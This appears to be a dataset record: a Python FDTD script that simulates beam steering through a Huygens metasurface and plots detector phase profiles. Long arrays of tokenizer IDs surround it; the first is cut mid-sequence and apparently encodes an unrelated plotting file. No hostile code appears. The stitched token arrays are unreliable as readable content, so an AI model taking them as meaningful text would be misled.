5317,
29892,
6120,
511,
525,
4294,
29918,
5317,
1818,
367,
7223,
29915,
13,
1678,
302,
546,
10199,
353,
938,
29898,
14486,
29898,
29879,
546,
10199,
334,
18668,
7971,
876,
13,
1678,
25457,
353,
938,
29898,
14486,
29898,
546,
29883,
29918,
957,
6984,
334,
302,
546,
10199,
876,
13,
13,
1678,
285,
29918,
3881,
353,
518,
29880,
29888,
7971,
29892,
318,
29888,
7971,
29962,
13,
13,
1678,
3005,
29939,
29892,
921,
29891,
29892,
27716,
353,
6683,
307,
1393,
29918,
29880,
1028,
3670,
29898,
1272,
29892,
18668,
7971,
29892,
302,
546,
10199,
29922,
29876,
546,
10199,
29892,
13,
462,
462,
539,
694,
369,
6984,
29922,
957,
6984,
29892,
274,
29918,
15501,
29922,
29906,
29900,
1846,
13,
1678,
565,
27716,
29889,
299,
326,
1360,
29941,
29901,
27716,
353,
27716,
29889,
29879,
802,
29872,
911,
2141,
29911,
13,
1678,
27716,
353,
29871,
29906,
29900,
334,
7442,
29889,
1188,
29896,
29900,
29898,
4467,
29882,
29974,
29900,
29889,
29900,
29900,
29900,
29900,
29900,
29900,
29896,
29897,
13,
1678,
22645,
29918,
1333,
18925,
353,
7442,
29889,
4492,
262,
568,
29898,
4467,
29882,
29897,
1360,
8824,
13,
1678,
27716,
29961,
13140,
29918,
1333,
18925,
29962,
353,
7442,
29889,
1195,
29898,
4467,
29882,
29961,
30022,
13140,
29918,
1333,
18925,
2314,
13,
13,
1678,
285,
29918,
3881,
29961,
29896,
29962,
353,
7442,
29889,
6897,
29898,
29888,
7971,
448,
318,
29888,
7971,
467,
1191,
1195,
580,
13,
1678,
2243,
29879,
353,
22780,
29898,
29888,
29918,
3881,
29961,
29900,
1402,
285,
29918,
3881,
29961,
29896,
29962,
718,
29871,
29896,
29897,
13,
1678,
3005,
29939,
353,
3005,
29939,
29961,
2536,
29879,
29962,
13,
13,
1678,
27716,
353,
27716,
29961,
2536,
29879,
29892,
584,
29962,
13,
1678,
27716,
353,
27716,
448,
27716,
29889,
1195,
580,
13,
1678,
27716,
353,
27716,
847,
27716,
29889,
3317,
580,
13,
1678,
565,
1510,
29918,
5317,
29901,
13,
4706,
4853,
29889,
326,
4294,
29898,
9302,
29889,
29888,
3466,
566,
29898,
4467,
29882,
511,
9565,
2433,
6921,
1495,
13,
4706,
883,
2620,
353,
22889,
29889,
29873,
6541,
29889,
14400,
18522,
29898,
2892,
269,
29892,
921,
29901,
931,
29889,
710,
615,
603,
877,
29995,
29950,
16664,
29924,
742,
931,
29889,
29887,
29885,
2230,
29898,
524,
29898,
29879,
16395,
29879,
546,
10199,
29899,
957,
6984,
29914,
4668,
7971,
876,
4961,
13,
4706,
4853,
29889,
29916,
8990,
29889,
842,
29918,
21355,
29918,
689,
2620,
29898,
689,
2620,
29897,
13,
4706,
565,
921,
29891,
14352,
29896,
29962,
29966,
29941,
29953,
29900,
29900,
29930,
29955,
29901,
396,
29871,
29955,
6199,
338,
4203,
7234,
368,
13,
9651,
16892,
29918,
19244,
353,
4236,
29898,
9302,
29889,
1191,
3317,
29898,
3594,
29958,
29879,
546,
10199,
29930,
29953,
29900,
511,
29945,
29897,
396,
5317,
639,
4203,
7234,
13,
4706,
1683,
29901,
396,
901,
1135,
29871,
29955,
6199,
7234,
368,
260,
7358,
13,
9651,
16892,
29918,
19244,
353,
7442,
29889,
1191,
3317,
29898,
3594,
29958,
29879,
546,
10199,
29930,
29953,
29900,
11877,
29906,
396,
5317,
639,
4203,
7234,
13,
4706,
1023,
29918,
29882,
29920,
29918,
1066,
353,
7442,
29889,
1191,
3317,
29898,
29888,
7971,
29958,
29896,
29889,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29929,
29897,
13,
4706,
343,
24667,
29918,
1066,
353,
7442,
29889,
279,
927,
29898,
29900,
29892,
7431,
29898,
29888,
7971,
511,
1023,
29918,
29882,
29920,
29918,
1066,
29897,
13,
4706,
4853,
29889,
842,
29918,
486,
7358,
29898,
9302,
29889,
279,
927,
29898,
29900,
29892,
27716,
29889,
12181,
29961,
29896,
1402,
16892,
29918,
19244,
876,
13,
4706,
4853,
29889,
842,
29918,
3637,
7358,
29898,
3637,
860,
29918,
1066,
29897,
13,
4706,
4853,
29889,
842,
29918,
3637,
860,
21134,
29898,
9302,
29889,
279,
927,
29898,
1137,
7971,
29892,
301,
29888,
7971,
29899,
29896,
29892,
448,
29906,
876,
13,
4706,
4853,
29889,
842,
29918,
29916,
1643,
877,
2481,
1156,
373,
842,
1495,
13,
4706,
4853,
29889,
842,
29918,
29891,
1643,
877,
23923,
23860,
1495,
13,
4706,
4853,
29889,
842,
29918,
3257,
29898,
3257,
29897,
13,
4706,
18116,
29889,
4572,
25442,
886,
703,
17281,
613,
2643,
2433,
4013,
4377,
7805,
319,
9100,
393,
526,
451,
15878,
1495,
13,
4706,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
1678,
736,
27716,
13,
13,
13,
1753,
6492,
29918,
29882,
1478,
29876,
13342,
29898,
303,
1179,
29892,
3858,
8977,
29922,
8516,
29892,
3611,
29922,
8516,
29892,
21502,
305,
2435,
29922,
29941,
29900,
29892,
4853,
29922,
8516,
29892,
13,
462,
259,
26952,
29922,
5574,
29892,
921,
1643,
29922,
5574,
29892,
343,
1643,
29922,
5574,
29892,
3579,
19290,
29892,
1125,
13,
1678,
9995,
13,
1678,
18399,
263,
10163,
29876,
13342,
29892,
278,
25706,
982,
29889,
13,
13,
1678,
319,
3858,
8977,
881,
2367,
263,
10417,
607,
6043,
14393,
304,
607,
770,
13,
1678,
382,
29889,
29887,
3858,
8977,
353,
426,
29900,
29901,
525,
29956,
1296,
742,
29871,
29946,
11283,
1525,
29924,
742,
29871,
29896,
11283,
29903,
29896,
742,
29871,
29906,
11283,
29903,
29906,
742,
29871,
29941,
11283,
29903,
7811,
10827,
13,
1678,
470,
426,
29900,
11283,
29956,
1296,
742,
29871,
29896,
11283,
29903,
5436,
742,
29871,
29906,
11283,
29903,
5436,
742,
29871,
29941,
11283,
29903,
5436,
742,
29871,
29946,
11283,
29903,
5436,
742,
29871,
29945,
11283,
1433,
371,
17028,
10827,
13,
13,
1678,
450,
1797,
310,
278,
11073,
373,
278,
6492,
674,
367,
10087,
491,
278,
1797,
310,
278,
8600,
29889,
13,
13,
1678,
382,
29889,
29887,
29889,
29871,
426,
29900,
11283,
29956,
1296,
742,
29871,
29896,
11283,
1525,
29924,
742,
29871,
29906,
11283,
29940,
1525,
29924,
10827,
29871,
674,
6492,
399,
1296,
373,
2246,
29892,
769,
5195,
29924,
29892,
769,
405,
1525,
29924,
13,
1678,
1550,
426,
29900,
11283,
29956,
1296,
742,
29871,
29906,
11283,
29940,
1525,
29924,
742,
29871,
29896,
11283,
29940,
1525,
29924,
10827,
674,
6492,
399,
1296,
373,
2246,
29892,
769,
405,
1525,
29924,
29892,
769,
5195,
29924,
13,
13,
1678,
910,
8600,
508,
367,
10115,
287,
6336,
515,
278,
3694,
393,
526,
2198,
13,
1678,
297,
278,
10163,
29876,
13342,
541,
445,
9863,
947,
451,
4612,
599,
4251,
29889,
13,
13,
1678,
584,
3207,
22950,
29901,
530,
1409,
411,
1422,
22950,
9732,
630,
408,
11920,
13,
1678,
584,
3207,
3858,
8977,
29901,
530,
22447,
362,
310,
11073,
393,
3928,
304,
278,
11920,
310,
22950,
13,
1678,
584,
3207,
3611,
29901,
18527,
310,
278,
3474,
13,
1678,
584,
3207,
21502,
305,
2435,
29901,
1128,
1784,
6923,
338,
697,
21502,
305,
297,
445,
17195,
13,
1678,
584,
3207,
4853,
29901,
278,
9685,
297,
607,
591,
6492,
13,
1678,
584,
3207,
26952,
29901,
13905,
6433,
470,
451,
29889,
13,
1678,
584,
3207,
921,
1643,
29901,
17440,
921,
1643,
6702,
2481,
1156,
2407,
1369,
1495,
13,
1678,
584,
3207,
343,
1643,
29901,
17440,
343,
1643,
6702,
29903,
5436,
24906,
1495,
13,
1678,
584,
3207,
9049,
5085,
29901,
5684,
6273,
4502,
304,
14770,
29889,
5317,
3285,
321,
29889,
29887,
29889,
274,
2433,
1127,
29915,
13,
1678,
9995,
13,
13,
1678,
565,
3858,
8977,
338,
6213,
29901,
13,
4706,
3858,
8977,
353,
6571,
13,
4706,
903,
4381,
8977,
353,
21389,
29896,
29901,
525,
29909,
742,
29871,
29900,
11283,
29956,
1296,
742,
29871,
29946,
11283,
1525,
29924,
742,
29871,
29896,
11283,
29903,
29896,
742,
29871,
29906,
11283,
29903,
29906,
742,
29871,
29941,
11283,
29903,
7811,
742,
29871,
29945,
11283,
1433,
371,
17028,
10827,
13,
4706,
565,
731,
29898,
303,
1179,
29897,
1275,
731,
4197,
29900,
29892,
29871,
29896,
29962,
1125,
13,
9651,
3858,
8977,
353,
426,
29900,
11283,
29956,
1296,
742,
29871,
29896,
11283,
29903,
5436,
10827,
13,
4706,
25342,
731,
29898,
303,
1179,
29897,
1275,
731,
4197,
29900,
29892,
29871,
29896,
29892,
29871,
29906,
29962,
1125,
13,
9651,
3858,
8977,
353,
426,
29900,
11283,
29956,
1296,
742,
29871,
29906,
11283,
1525,
29924,
742,
29871,
29896,
11283,
29940,
1525,
29924,
10827,
13,
4706,
1683,
29901,
13,
9651,
363,
7408,
297,
903,
4381,
8977,
29901,
13,
18884,
565,
7408,
297,
22950,
29901,
13,
462,
1678,
3858,
8977,
29961,
19190,
29962,
353,
903,
4381,
8977,
29961,
19190,
29962,
13,
4706,
565,
26952,
29901,
1596,
877,
7900,
9929,
6571,
4286,
4830,
29898,
1643,
8977,
876,
13,
13,
1678,
396,
1423,
565,
599,
22950,
393,
526,
297,
278,
10163,
29876,
13342,
505,
263,
6590,
3858,
297,
278,
9657,
13,
1678,
363,
7408,
297,
7442,
29889,
13092,
29898,
303,
1179,
1125,
13,
4706,
565,
451,
7408,
297,
3858,
8977,
29901,
13,
9651,
1596,
877,
29956,
25614,
29901,
6571,
338,
297,
22950,
29892,
541,
451,
297,
3858,
8977,
29892,
7408,
674,
367,
13626,
4286,
4830,
29898,
19190,
876,
13,
13,
1678,
396,
1653,
278,
3858,
1797,
13,
1678,
11073,
353,
518,
1643,
8977,
29961,
29880,
29962,
363,
301,
297,
3858,
8977,
29962,
13,
1678,
11073,
353,
12705,
29898,
842,
29898,
21134,
511,
1820,
29922,
21134,
29889,
2248,
29897,
13,
13,
1678,
396,
591,
13649,
1549,
278,
22950,
322,
6699,
278,
3858,
363,
445,
7408,
13,
1678,
396,
769,
591,
9773,
278,
2602,
373,
278,
6492,
310,
445,
7408,
3025,
278,
11073,
29899,
8977,
13,
1678,
921,
353,
5159,
13,
1678,
343,
353,
5159,
13,
1678,
1083,
29918,
2962,
353,
5159,
13,
1678,
1083,
29918,
355,
259,
353,
5159,
13,
1678,
363,
474,
297,
7442,
29889,
279,
927,
29898,
2435,
29898,
303,
1179,
22164,
13,
4706,
269,
353,
22950,
29961,
29875,
29962,
13,
4706,
3858,
353,
3858,
8977,
29889,
657,
29898,
29879,
29897,
13,
4706,
565,
3858,
338,
6213,
29901,
13,
9651,
282,
353,
29871,
29929,
29929,
13,
9651,
565,
525,
8773,
29915,
451,
297,
11073,
29901,
11073,
29889,
4397,
877,
8773,
1495,
13,
4706,
1683,
584,
13,
9651,
282,
353,
448,
21134,
29889,
2248,
29898,
1643,
29897,
13,
308,
13,
4706,
396,
1207,
777,
2654,
1196,
29320,
363,
5195,
29924,
29892,
2791,
6763,
322,
1095,
310,
5195,
29924,
13,
4706,
565,
525,
1525,
29924,
29915,
297,
11073,
29901,
13,
9651,
565,
3858,
1360,
29915,
1525,
29924,
29915,
322,
7431,
29898,
1745,
29918,
2962,
29897,
1360,
2435,
29898,
1745,
29918,
355,
1125,
13,
462,
1678,
1083,
29918,
2962,
29889,
4397,
29898,
29875,
29899,
29906,
29897,
13,
9651,
25342,
3858,
29991,
2433,
1525,
29924,
29915,
322,
7431,
29898,
1745,
29918,
2962,
15410,
2435,
29898,
1745,
29918,
355,
1125,
13,
18884,
1083,
29918,
355,
29889,
4397,
29898,
29875,
29899,
29896,
29897,
13,
4706,
565,
3858,
1360,
29915,
1525,
29924,
29915,
322,
474,
1360,
2435,
29898,
303,
1179,
6817,
29896,
29901,
13,
965,
1083,
29918,
355,
29889,
4397,
29898,
29875,
29974,
29896,
29897,
13,
632,
13,
4706,
565,
474,
19216,
29900,
29901,
13,
9651,
343,
29889,
4397,
29898,
29886,
29897,
13,
9651,
921,
29889,
4397,
29898,
29875,
29899,
29896,
29897,
13,
4706,
343,
29889,
4397,
29898,
29886,
29897,
13,
4706,
921,
29889,
4397,
29898,
29875,
29897,
13,
268,
13,
1678,
4974,
7431,
29898,
1745,
29918,
2962,
29897,
1360,
2435,
29898,
1745,
29918,
355,
511,
525,
16804,
3512,
2743,
297,
5195,
29924,
3309,
13944,
29915,
13,
13,
1678,
921,
353,
7442,
29889,
2378,
29898,
29916,
11877,
1022,
2878,
2435,
13,
1678,
343,
353,
7442,
29889,
2378,
29898,
29891,
29897,
13,
1678,
343,
29961,
29891,
1360,
29929,
29929,
29962,
353,
343,
29889,
1195,
580,
29899,
29896,
396,
1207,
1854,
853,
5203,
7408,
338,
715,
15048,
2400,
599,
1683,
13,
13,
1678,
565,
4853,
338,
6213,
29901,
13,
4706,
14770,
29889,
4532,
580,
13,
4706,
4853,
353,
14770,
29889,
29887,
1113,
580,
13,
1678,
883,
2620,
353,
22889,
29889,
29873,
6541,
29889,
14400,
18522,
29898,
2892,
269,
29892,
921,
29901,
931,
29889,
710,
615,
603,
877,
29995,
29950,
16664,
29924,
742,
931,
29889,
29887,
29885,
2230,
29898,
29879,
4961,
13,
268,
13,
1678,
4853,
29889,
5317,
29898,
29916,
29892,
29891,
29892,
3579,
19290,
29897,
13,
1678,
4853,
29889,
842,
29918,
29916,
2576,
29898,
29900,
29892,
921,
14352,
29896,
2314,
13,
1678,
4853,
29889,
29916,
8990,
29889,
842,
29918,
21355,
29918,
689,
2620,
29898,
689,
2620,
29897,
13,
268,
13,
1678,
4853,
29889,
842,
29918,
3637,
7358,
29898,
9302,
29889,
279,
927,
29898,
2435,
29898,
9302,
29889,
13092,
29898,
21134,
4961,
29930,
29899,
29896,
29897,
13,
1678,
4853,
29889,
842,
29918,
3637,
860,
21134,
29898,
21134,
29897,
13,
1678,
4853,
29889,
842,
29918,
486,
7358,
29898,
9302,
29889,
279,
927,
29898,
29900,
29892,
29916,
14352,
29896,
1402,
29941,
29953,
29900,
29900,
876,
13,
1678,
565,
921,
1643,
29901,
14770,
29889,
29916,
1643,
877,
2481,
1156,
16867,
1369,
1495,
13,
1678,
565,
343,
1643,
29901,
14770,
29889,
29891,
1643,
877,
29903,
5436,
24906,
1495,
13,
1678,
565,
3611,
338,
451,
6213,
29901,
13,
4706,
14770,
29889,
3257,
29898,
3257,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
18116,
29889,
4572,
25442,
886,
703,
17281,
613,
2643,
2433,
4013,
4377,
7805,
319,
9100,
393,
526,
451,
15878,
1495,
13,
4706,
14770,
29889,
29873,
523,
29918,
2680,
580,
13,
1678,
5174,
8960,
29901,
1209,
13,
13,
1678,
396,
6492,
5195,
29924,
297,
390,
3352,
1244,
13,
1678,
363,
1369,
29892,
1095,
297,
14319,
29898,
1745,
29918,
2962,
29892,
1083,
29918,
355,
1125,
13,
4706,
3171,
353,
448,
21134,
29889,
2248,
877,
1525,
29924,
1495,
13,
4706,
4853,
29889,
4415,
1475,
29898,
3545,
29892,
1369,
29930,
1022,
2878,
2435,
29892,
1095,
29930,
1022,
2878,
2435,
29892,
2927,
2433,
29878,
742,
13,
462,
259,
1196,
2103,
29922,
29946,
29892,
503,
2098,
29922,
29929,
29929,
29897,
13,
13,
13,
13,
268,
2
] |
beam_steering.py | Substancia/FDTD-Huygens-metasurface | 0 | 146482 | # import only necessary functions from modules to reduce load
from fdtd_venv import fdtd_mod as fdtd
from numpy import arange, array, where
from matplotlib.pyplot import subplot, plot, xlabel, ylabel, legend, title, suptitle, show, ylim, figure
from scipy.optimize import curve_fit
from os import path
from sys import argv
from time import time
def fit_func(x, a, b, c):
return a*x**2 + b*x + c
start_time = time()
animate = False
run_time = 400
saveStuff = False
results = True
transmit_detectors = 32
# grid
grid = fdtd.Grid(shape=(200, 15.5e-6, 1), grid_spacing=77.5e-9)
if saveStuff:
grid.save_simulation(argv[1] if len(argv) > 1 else None)
# objects
# source
#grid[15, 99, 0] = fdtd.PointSource(period = 1550e-9 / (3e8), name="source1")
grid[15, 100, 0] = fdtd.PointSource(period = 1550e-9 / (3e8), name="source2")
# detectors
#grid[80:200, 80:120, 0] = fdtd.BlockDetector(name="BlockDetector")
#grid[80:200, 100, 0] = fdtd.LineDetector(name="LineDetectorVert")
grid[19, 75:125, 0] = fdtd.LineDetector(name="LineDetectorHorIncident")
for i in range(transmit_detectors):
grid[30+5*i, 75:125, 0] = fdtd.LineDetector(name="LineDetectorHorEmergent_"+str(30+5*i))
# x boundaries
grid[0:10, :, :] = fdtd.PML(name="pml_xlow")
grid[-10:, :, :] = fdtd.PML(name="pml_xhigh")
# y boundaries
grid[:, 0:10, :] = fdtd.PML(name="pml_ylow")
grid[:, -10:, :] = fdtd.PML(name="pml_yhigh")
# Saving grid geometry
if saveStuff:
with open(path.join("./fdtd_output", grid.folder, "grid.txt"), "w") as f:
f.write(str(grid))
wavelength = 3e8/grid.source.frequency
wavelengthUnits = wavelength/grid.grid_spacing
GD = array([grid.x, grid.y, grid.z])
gridRange = [arange(x/grid.grid_spacing) for x in GD]
objectRange = array([[gridRange[0][x.x], gridRange[1][x.y], gridRange[2][x.z]] for x in grid.objects]).T
f.write("\n\nGrid details (in wavelength scale):")
f.write("\n\tGrid dimensions: ")
f.write(str(GD/wavelength))
f.write("\n\tSource dimensions: ")
f.write(str(array([grid.source.x[-1] - grid.source.x[0] + 1, grid.source.y[-1] - grid.source.y[0] + 1, grid.source.z[-1] - grid.source.z[0] + 1])/wavelengthUnits))
f.write("\n\tObject dimensions: ")
f.write(str([(max(map(max, x)) - min(map(min, x)) + 1)/wavelengthUnits for x in objectRange]))
if animate:
if run_time > 0:
for i in range(run_time):
grid.run(total_time=1)
if saveStuff:
grid.visualize(z=0, animate=True, index=i, save=True, folder=grid.folder)
else:
grid.visualize(z=0, animate=True)
if saveStuff:
grid.generate_video(delete_frames=True)
grid.save_data()
else:
if run_time > 0:
grid.run(total_time=run_time)
if saveStuff:
grid.visualize(z=0, show=True, index=0, save=True, folder=grid.folder)
grid.save_data()
else:
grid.visualize(z=0, show=True)
if results:
phase_profile_incident = []
phase_profile_emergent = [[] for j in range(transmit_detectors)] # number of trasmit side detectors
det_vals_incident = array(grid.detectors[0].detector_values()['E'][-grid.sources[0].period:])
det_vals_emergent = [array(grid.detectors[i].detector_values()['E'][-grid.sources[0].period:]) for i in range(1, len(phase_profile_emergent)+1)]
for i in range(len(grid.detectors[0].x)):
period_phase = grid.sources[0].period - where(det_vals_incident[:, i, 2] == max(det_vals_incident[:, i, 2]))[-1][-1]
phase_profile_incident.append(((grid.sources[0].period/4 + period_phase)/grid.sources[0].period)%1)
for j in range(len(phase_profile_emergent)):
period_phase = grid.sources[0].period - where(det_vals_emergent[j][:, i, 2] == max(det_vals_emergent[j][:, i, 2]))[-1][-1]
phase_profile_emergent[j].append(((grid.sources[0].period/4 + period_phase)/grid.sources[0].period)%1)
xdata = array([x for x in range(-25, 25)])
#phase_difference = (-array(phase_profile_emergent) + array(phase_profile_incident) + 2*pi)%(2*pi)
#popt, _ = curve_fit(fit_func, xdata, phase_difference)
figure(num="phase_profile")
plot(xdata/grid.sources[0].period, phase_profile_incident, label="Incident phase")
for j in range(len(phase_profile_emergent)):
plot(xdata/grid.sources[0].period, phase_profile_emergent[j], label="Emergent phase"+str(j))
#plot(xdata/grid.sources[0].period, phase_difference, label="Phase difference")
#plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase difference")
for j in range(len(phase_profile_emergent)):
popt, _ = curve_fit(fit_func, xdata, phase_profile_emergent[j])
plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase in detector"+str(j))
#print(popt)
xlabel("x/lambda")
ylabel("phase/2pi")
legend()
#title("Curve-fit Phase difference: %5.6f*x**2 + %5.6f*x + %5.6f" % tuple(popt))
show()
figure(num="phase_profile_curve_fit")
for j in range(len(phase_profile_emergent)):
if j%4 == 0:
subplot(2, 4, j/4+1)
title("Detectors %1i to %2i" % tuple([j, j+3]))
xlabel("x/lambda")
ylabel("phase/2pi")
ylim(0, 1)
popt, _ = curve_fit(fit_func, xdata, phase_profile_emergent[j])
plot(xdata/grid.sources[0].period, fit_func(xdata, *popt), label="Curve-fit for Phase in detector"+str(j))
print(popt)
#legend()
suptitle("Curve-fiting (Consecutive order of detectors in each plot, blue: 1, orange: 2, green: 3, red: 4)")
show()
figure(num="phase_bent")
plot([x for x in range(30, 30+5*len(phase_profile_emergent), 5)], [detector[len(detector)//2] - detector[0] for detector in phase_profile_emergent], label="Phase profile 'bent'")
plot([x for x in range(30, 30+5*len(phase_profile_emergent), 5)], [0 for x in range(len(phase_profile_emergent))], label="Zero line")
xlabel("detector position")
title("Measure of 'bent' of different phase profiles as difference of phases at mid and at end of each detector")
legend()
show()
end_time = time()
print("Runtime:", end_time-start_time)
| [
1,
396,
1053,
871,
5181,
3168,
515,
10585,
304,
10032,
2254,
13,
3166,
285,
29881,
1594,
29918,
854,
29894,
1053,
285,
29881,
1594,
29918,
1545,
408,
285,
29881,
1594,
13,
3166,
12655,
1053,
564,
927,
29892,
1409,
29892,
988,
13,
3166,
22889,
29889,
2272,
5317,
1053,
1014,
5317,
29892,
6492,
29892,
921,
1643,
29892,
343,
1643,
29892,
15983,
29892,
3611,
29892,
480,
415,
1740,
29892,
1510,
29892,
343,
2576,
29892,
4377,
13,
3166,
4560,
2272,
29889,
20640,
675,
1053,
11672,
29918,
9202,
13,
3166,
2897,
1053,
2224,
13,
3166,
10876,
1053,
1852,
29894,
13,
3166,
931,
1053,
931,
13,
13,
13,
1753,
6216,
29918,
9891,
29898,
29916,
29892,
263,
29892,
289,
29892,
274,
1125,
13,
12,
2457,
263,
29930,
29916,
1068,
29906,
718,
289,
29930,
29916,
718,
274,
13,
13,
13,
2962,
29918,
2230,
353,
931,
580,
13,
13,
20131,
353,
7700,
13,
3389,
29918,
2230,
353,
29871,
29946,
29900,
29900,
13,
7620,
855,
3096,
353,
7700,
13,
9902,
353,
5852,
13,
3286,
2415,
29918,
4801,
11142,
353,
29871,
29941,
29906,
13,
13,
29937,
6856,
13,
7720,
353,
285,
29881,
1594,
29889,
5756,
29898,
12181,
7607,
29906,
29900,
29900,
29892,
29871,
29896,
29945,
29889,
29945,
29872,
29899,
29953,
29892,
29871,
29896,
511,
6856,
29918,
1028,
9390,
29922,
29955,
29955,
29889,
29945,
29872,
29899,
29929,
29897,
13,
361,
4078,
855,
3096,
29901,
13,
12,
7720,
29889,
7620,
29918,
3601,
2785,
29898,
19218,
29961,
29896,
29962,
565,
7431,
29898,
19218,
29897,
1405,
29871,
29896,
1683,
6213,
29897,
13,
13,
29937,
3618,
13,
13,
29937,
2752,
13,
29937,
7720,
29961,
29896,
29945,
29892,
29871,
29929,
29929,
29892,
29871,
29900,
29962,
353,
285,
29881,
1594,
29889,
5228,
4435,
29898,
19145,
353,
29871,
29896,
29945,
29945,
29900,
29872,
29899,
29929,
847,
313,
29941,
29872,
29947,
511,
1024,
543,
4993,
29896,
1159,
13,
7720,
29961,
29896,
29945,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29900,
29962,
353,
285,
29881,
1594,
29889,
5228,
4435,
29898,
19145,
353,
29871,
29896,
29945,
29945,
29900,
29872,
29899,
29929,
847,
313,
29941,
29872,
29947,
511,
1024,
543,
4993,
29906,
1159,
13,
13,
29937,
6459,
943,
13,
29937,
7720,
29961,
29947,
29900,
29901,
29906,
29900,
29900,
29892,
29871,
29947,
29900,
29901,
29896,
29906,
29900,
29892,
29871,
29900,
29962,
353,
285,
29881,
1594,
29889,
7445,
6362,
3019,
29898,
978,
543,
7445,
6362,
3019,
1159,
13,
29937,
7720,
29961,
29947,
29900,
29901,
29906,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29900,
29962,
353,
285,
29881,
1594,
29889,
3542,
6362,
3019,
29898,
978,
543,
3542,
6362,
3019,
9114,
1159,
13,
7720,
29961,
29896,
29929,
29892,
29871,
29955,
29945,
29901,
29896,
29906,
29945,
29892,
29871,
29900,
29962,
353,
285,
29881,
1594,
29889,
3542,
6362,
3019,
29898,
978,
543,
3542,
6362,
3019,
17241,
797,
29883,
1693,
1159,
13,
1454,
474,
297,
3464,
29898,
3286,
2415,
29918,
4801,
11142,
1125,
13,
12,
7720,
29961,
29941,
29900,
29974,
29945,
29930,
29875,
29892,
29871,
29955,
29945,
29901,
29896,
29906,
29945,
29892,
29871,
29900,
29962,
353,
285,
29881,
1594,
29889,
3542,
6362,
3019,
29898,
978,
543,
3542,
6362,
3019,
17241,
29923,
1050,
5362,
29918,
17969,
710,
29898,
29941,
29900,
29974,
29945,
29930,
29875,
876,
13,
13,
29937,
921,
24371,
13,
7720,
29961,
29900,
29901,
29896,
29900,
29892,
584,
29892,
584,
29962,
353,
285,
29881,
1594,
29889,
29925,
1988,
29898,
978,
543,
29886,
828,
29918,
29916,
677,
1159,
13,
7720,
14352,
29896,
29900,
29901,
29892,
584,
29892,
584,
29962,
353,
285,
29881,
1594,
29889,
29925,
1988,
29898,
978,
543,
29886,
828,
29918,
29916,
9812,
1159,
13,
13,
29937,
343,
24371,
13,
7720,
7503,
29892,
29871,
29900,
29901,
29896,
29900,
29892,
584,
29962,
353,
285,
29881,
1594,
29889,
29925,
1988,
29898,
978,
543,
29886,
828,
29918,
29891,
677,
1159,
13,
7720,
7503,
29892,
448,
29896,
29900,
29901,
29892,
584,
29962,
353,
285,
29881,
1594,
29889,
29925,
1988,
29898,
978,
543,
29886,
828,
29918,
29891,
9812,
1159,
13,
13,
29937,
317,
5555,
6856,
16303,
13,
361,
4078,
855,
3096,
29901,
13,
12,
2541,
1722,
29898,
2084,
29889,
7122,
703,
6904,
11512,
1594,
29918,
4905,
613,
6856,
29889,
12083,
29892,
376,
7720,
29889,
3945,
4968,
376,
29893,
1159,
408,
285,
29901,
13,
12,
12,
29888,
29889,
3539,
29898,
710,
29898,
7720,
876,
13,
12,
12,
29893,
6447,
1477,
353,
29871,
29941,
29872,
29947,
29914,
7720,
29889,
4993,
29889,
10745,
23860,
13,
12,
12,
29893,
6447,
1477,
2525,
1169,
353,
281,
6447,
1477,
29914,
7720,
29889,
7720,
29918,
1028,
9390,
13,
12,
12,
29954,
29928,
353,
1409,
4197,
7720,
29889,
29916,
29892,
6856,
29889,
29891,
29892,
6856,
29889,
29920,
2314,
13,
12,
12,
7720,
6069,
353,
518,
279,
927,
29898,
29916,
29914,
7720,
29889,
7720,
29918,
1028,
9390,
29897,
363,
921,
297,
402,
29928,
29962,
13,
12,
12,
3318,
6069,
353,
1409,
4197,
29961,
7720,
6069,
29961,
29900,
3816,
29916,
29889,
29916,
1402,
6856,
6069,
29961,
29896,
3816,
29916,
29889,
29891,
1402,
6856,
6069,
29961,
29906,
3816,
29916,
29889,
29920,
5262,
363,
921,
297,
6856,
29889,
12650,
14664,
29911,
13,
12,
12,
29888,
29889,
3539,
14182,
29876,
29905,
29876,
5756,
4902,
313,
262,
281,
6447,
1477,
6287,
1125,
1159,
13,
12,
12,
29888,
29889,
3539,
14182,
29876,
29905,
29873,
5756,
13391,
29901,
16521,
13,
12,
12,
29888,
29889,
3539,
29898,
710,
29898,
29954,
29928,
29914,
29893,
6447,
1477,
876,
13,
12,
12,
29888,
29889,
3539,
14182,
29876,
29905,
29873,
4435,
13391,
29901,
16521,
13,
12,
12,
29888,
29889,
3539,
29898,
710,
29898,
2378,
4197,
7720,
29889,
4993,
29889,
29916,
14352,
29896,
29962,
448,
6856,
29889,
4993,
29889,
29916,
29961,
29900,
29962,
718,
29871,
29896,
29892,
6856,
29889,
4993,
29889,
29891,
14352,
29896,
29962,
448,
6856,
29889,
4993,
29889,
29891,
29961,
29900,
29962,
718,
29871,
29896,
29892,
6856,
29889,
4993,
29889,
29920,
14352,
29896,
29962,
448,
6856,
29889,
4993,
29889,
29920,
29961,
29900,
29962,
718,
29871,
29896,
2314,
29914,
29893,
6447,
1477,
2525,
1169,
876,
13,
12,
12,
29888,
29889,
3539,
14182,
29876,
29905,
29873,
2061,
13391,
29901,
16521,
13,
12,
12,
29888,
29889,
3539,
29898,
710,
4197,
29898,
3317,
29898,
1958,
29898,
3317,
29892,
921,
876,
448,
1375,
29898,
1958,
29898,
1195,
29892,
921,
876,
718,
29871,
29896,
6802,
29893,
6447,
1477,
2525,
1169,
363,
921,
297,
1203,
6069,
12622,
13,
13,
361,
26015,
29901,
13,
12,
361,
1065,
29918,
2230,
1405,
29871,
29900,
29901,
13,
12,
12,
1454,
474,
297,
3464,
29898,
3389,
29918,
2230,
1125,
13,
12,
12,
12,
7720,
29889,
3389,
29898,
7827,
29918,
2230,
29922,
29896,
29897,
13,
12,
12,
12,
361,
4078,
855,
3096,
29901,
13,
12,
12,
12,
12,
7720,
29889,
20119,
675,
29898,
29920,
29922,
29900,
29892,
26015,
29922,
5574,
29892,
2380,
29922,
29875,
29892,
4078,
29922,
5574,
29892,
4138,
29922,
7720,
29889,
12083,
29897,
13,
12,
12,
12,
2870,
29901,
13,
12,
12,
12,
12,
7720,
29889,
20119,
675,
29898,
29920,
29922,
29900,
29892,
26015,
29922,
5574,
29897,
13,
12,
361,
4078,
